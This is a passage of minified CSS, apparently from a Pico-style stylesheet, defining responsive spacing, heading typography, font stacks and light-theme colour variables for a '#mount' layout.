(min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c